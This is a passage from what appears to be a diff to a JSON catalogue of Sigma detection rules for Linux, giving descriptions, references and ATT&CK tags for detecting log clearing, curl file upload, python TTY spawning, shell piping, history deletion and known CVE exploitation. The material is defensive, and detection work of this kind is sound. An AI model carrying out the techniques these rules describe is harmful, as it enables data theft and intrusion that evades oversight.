"attack.defense_evasion", + "attack.t1070.002" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_lnx_clear_logs.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks", + "uuid": "3fcc9b35-39e4-44c0-a2ad-9e82b6902b31", + "value": "Commands to Clear or Remove the Syslog", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_syslog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.002" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_clear_syslog.yml", + "author": "Max Altgelt, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "high", + "falsepositive": [ + "Log rotation." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", + "uuid": "ec127035-a636-4b9a-8555-0efd4e59f316", + "value": "Clipboard Collection with Xclip Tool", + "meta": { + "refs": [ + "https://www.packetlabs.net/posts/clipboard-data-security/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_clipboard_collection.yml", + "author": "Pawel Mazur, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "low", + "falsepositive": [ + "Legitimate usage of xclip tools." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of the 'crontab' utility to remove the current crontab.\nThis is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible\n", + "uuid": "c2e234de-03a3-41e1-b39a-1e56dc17ba67", + "value": "Remove Scheduled Cron Task/Job", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_removal.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_crontab_removal.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects command line parameters or strings often used by crypto miners", + "uuid": "9069ea3c-b213-4c52-be13-86506a227ab1", + "value": "Linux Crypto Mining Indicators", + "meta": { + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml" + ], + "tags": "No established tags", + "creation_date": "2021/10/26", + "filename": "proc_creation_lnx_crypto_mining.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of crypto miners" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server", + "uuid": "ea34fb97-e2c4-4afb-810f-785e4459b194", + "value": "Curl Usage on Linux", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_curl_usage.yml", + "author": "Nasreddine Bencherchali", + "level": "low", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134", + "uuid": "7fb14105-530e-4e2e-8cfb-99f7d8700b66", + "value": "Atlassian Confluence CVE-2022-26134", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml" + ], + "tags": [ + "attack.initial_access", + "attack.execution", + "attack.t1190", + "attack.t1059", + "cve.2022.26134" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective", + "uuid": "c8a5f584-cdc8-42cc-8cce-0398e4265de3", + "value": "Apache Spark Shell Command Injection - ProcessCreation", + "meta": { + "refs": [ + "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", + "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", + "https://github.com/apache/spark/pull/36315/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.33891" + ], + "creation_date": "2022/07/20", + "filename": "proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects potential overwriting and deletion of a file using DD.", + "uuid": "2953194b-e33c-4859-b9e8-05948c167447", + "value": "DD File Overwrite", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_dd_file_overwrite.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "low", + "falsepositive": [ + "Any user deleting files that way." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.", + "uuid": "067d8238-7127-451c-a9ec-fa78045b618b", + "value": "Linux Doas Tool Execution", + "meta": { + "refs": [ + "https://research.splunk.com/endpoint/linux_doas_tool_execution/", + "https://www.makeuseof.com/how-to-install-and-use-doas/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2022/01/20", + "filename": "proc_creation_lnx_doas_execution.yml", + "author": "Sittikorn S, Teoderick Contreras", + "level": "low", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of system utilities to discover files and directories", + "uuid": "d3feb4ee-ff1d-4d3d-bd10-5b28a238cc72", + "value": "File and Directory Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_and_directory_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_lnx_file_and_directory_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects file deletion using \"rm\", \"shred\" or \"unlink\" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity", + "uuid": "30aed7b6-d2c1-4eaf-9382-b6bc43e50c57", + "value": "File Deletion", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_lnx_file_deletion.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s", + "uuid": "78a80655-a51e-4669-bc6b-e9d206a462ee", + "value": "Install Root Certificate", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_lnx_install_root_certificate.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.", + "uuid": "b45e3d6f-42c6-47d8-a478-df6bd6cf534c", + "value": "Local System Accounts Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_lnx_local_account.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings", + "uuid": "676381a6-15ca-4d73-a9c8-6a22e970b90d", + "value": "Local Groups Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_groups.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_lnx_local_groups.yml", + "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects enumeration of local or remote network services.", + "uuid": "3e102cd9-a70d-4a7a-9508-403963092f31", + "value": "Linux Network Service Scanning", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_network_service_scanning.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2020/10/21", + "filename": "proc_creation_lnx_network_service_scanning.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments", + "uuid": "e4ffe466-6ff8-48d4-94bd-e32d1a6061e2", + "value": "Nohup Execution", + "meta": { + "refs": [ + "https://gtfobins.github.io/gtfobins/nohup/", + "https://en.wikipedia.org/wiki/Nohup", + "https://www.computerhope.com/unix/unohup.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml" + ], + "tags": "No established tags", + "creation_date": "2022/06/06", + "filename": "proc_creation_lnx_nohup.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Administrators or installed processes that leverage nohup" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\nScript being executed gets created as a temp file in /tmp folder with a scx* prefix.\nThen it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\nThe file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", + "uuid": "6eea1bf6-f8d2-488a-a742-e6ef6c1b67db", + "value": "OMIGOD SCX RunAsProvider ExecuteScript", + "meta": { + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/Azure/Azure-Sentinel/pull/3059", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.t1068", + "attack.t1190", + "attack.t1203" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_omigod_scx_runasprovider_executescript.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "high", + "falsepositive": [ + "Legitimate use of SCX RunAsProvider ExecuteScript." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", + "uuid": "21541900-27a9-4454-9c4c-3f0a4240344a", + "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand", + "meta": { + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/Azure/Azure-Sentinel/pull/3059", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.t1068", + "attack.t1190", + "attack.t1203" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "high", + "falsepositive": [ + "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects process discovery commands. Adversaries may attempt to get information about running processes on a system.\nInformation obtained could be used to gain an understanding of common software/applications running on systems within the network\n", + "uuid": "4e2f5868-08d4-413d-899f-dc2f1508627b", + "value": "Process Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_process_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1057" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_lnx_process_discovery.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects setting proxy configuration", + "uuid": "72f4ab3f-787d-495d-a55d-68c2ff46cf4c", + "value": "Connection Proxy", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1090/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1090" + ], + "creation_date": "2020/06/17", + "filename": "proc_creation_lnx_proxy_connection.yml", + "author": "\u00d6mer G\u00fcnal", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects python spawning a pretty tty", + "uuid": "c4042d54-110d-45dd-a0e1-05c47822c937", + "value": "Python Spawning Pretty TTY", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_lnx_python_pty_spawn.yml", + "author": "Nextron Systems", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the enumeration of other remote systems.", + "uuid": "11063ec2-de63-4153-935e-b1a8b9e616f1", + "value": "Linux Remote System Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remote_system_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2020/10/22", + "filename": "proc_creation_lnx_remote_system_discovery.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", + "uuid": "6b14bac8-3e3a-4324-8109-42f0546a347f", + "value": "Scheduled Cron Task/Job", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1053.003" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_lnx_schedule_task_job_cron.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of system utilities (only grep and egrep for now) to discover security software discovery", + "uuid": "c9d8b7fd-78e4-44fe-88f6-599135d46d60", + "value": "Security Software Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_lnx_security_software_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects disabling security tools", + "uuid": "e3a8a052-111f-4606-9aee-f28ebeb76776", + "value": "Disabling Security Tools", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_tools_disabling.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2020/06/17", + "filename": "proc_creation_lnx_security_tools_disabling.yml", + "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services", + "uuid": "de25eeb8-3655-4643-ac3a-b662d3f26b6b", + "value": "Disable Or Stop Services", + "meta": { + "refs": [ + "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_services_stop_and_disable.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious change of file privileges with chown and chmod commands", + "uuid": "c21c4eaa-ba2e-419a-92b2-8371703cbe21", + "value": "Setuid and Setgid", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md", + "https://attack.mitre.org/techniques/T1548/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2020/06/16", + "filename": "proc_creation_lnx_setgid_setuid.yml", + "author": "\u00d6mer G\u00fcnal", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", + "uuid": "f74107df-b6c6-4e80-bf00-4170b658162b", + "value": "Sudo Privilege Escalation CVE-2019-14287", + "meta": { + "refs": [ + "https://www.openwall.com/lists/oss-security/2019/10/14/1", + "https://access.redhat.com/security/cve/cve-2019-14287", + "https://twitter.com/matthieugarin/status/1183970598210412546", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sudo_cve_2019_14287.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "attack.t1548.003", + "cve.2019.14287" + ], + "creation_date": "2019/10/15", + "filename": "proc_creation_lnx_sudo_cve_2019_14287.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects chmod targeting files in abnormal directory paths.", + "uuid": "6419afd1-3742-47a5-a7e6-b50386cd15f8", + "value": "Chmod Suspicious Directory", + "meta": { + "refs": [ + "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_lnx_susp_chmod_directories.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Admin changing file permissions." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects a suspicious curl process start the adds a file to a web request", + "uuid": "00b90cc1-17ec-402c-96ad-3a8117d7a582", + "value": "Suspicious Curl File Upload - Linux", + "meta": { + "refs": [ + "https://twitter.com/d1r4c/status/1279042657508081664", + "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", + "https://curl.se/docs/manpage.html", + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567", + "attack.t1105" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_susp_curl_fileupload.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Scripts created by developers and admins" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects a suspicious curl process start on linux with set useragent options", + "uuid": "b86d356d-6093-443d-971c-9b07db583c68", + "value": "Suspicious Curl Change User Agents - Linux", + "meta": { + "refs": [ + "https://curl.se/docs/manpage.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_susp_curl_useragent.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity", + "uuid": "1182f3b3-e716-4efa-99ab-d2685d04360f", + "value": "History File Deletion", + "meta": { + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565.001" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_lnx_susp_history_delete.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance", + "uuid": "d7821ff1-4527-4e33-9f84-d0d57fa2fb66", + "value": "Print History File Contents", + "meta": { + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1592.004" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_lnx_susp_history_recon.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious interactive bash as a parent to rather uncommon child processes", + "uuid": "ea3ecad2-db86-4a89-ad0b-132a10d2db55", + "value": "Interactive Bash Suspicious Children", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml" + ], + "tags": "No established tags", + "creation_date": "2022/03/14", + "filename": "proc_creation_lnx_susp_interactive_bash.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate software that uses these patterns" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects java process spawning suspicious children", + "uuid": "d292e0af-9a18-420c-9525-ec0ac3936892", + "value": "Suspicious Java Children Processes", + "meta": { + "refs": [ + "https://www.tecmint.com/different-types-of-linux-shells/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_lnx_susp_java_children.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell", + "uuid": "880973f3-9708-491c-a77b-2a35a1921158", + "value": "Linux Shell Pipe to Shell", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ], + "creation_date": "2022/03/14", + "filename": "proc_creation_lnx_susp_pipe_shell.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate software that uses these patterns" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects events with patterns found in commands used for reconnaissance on linux systems", + "uuid": "0cf7a157-8879-41a2-8f55-388dd23746b7", + "value": "Linux Recon Indicators", + "meta": { + 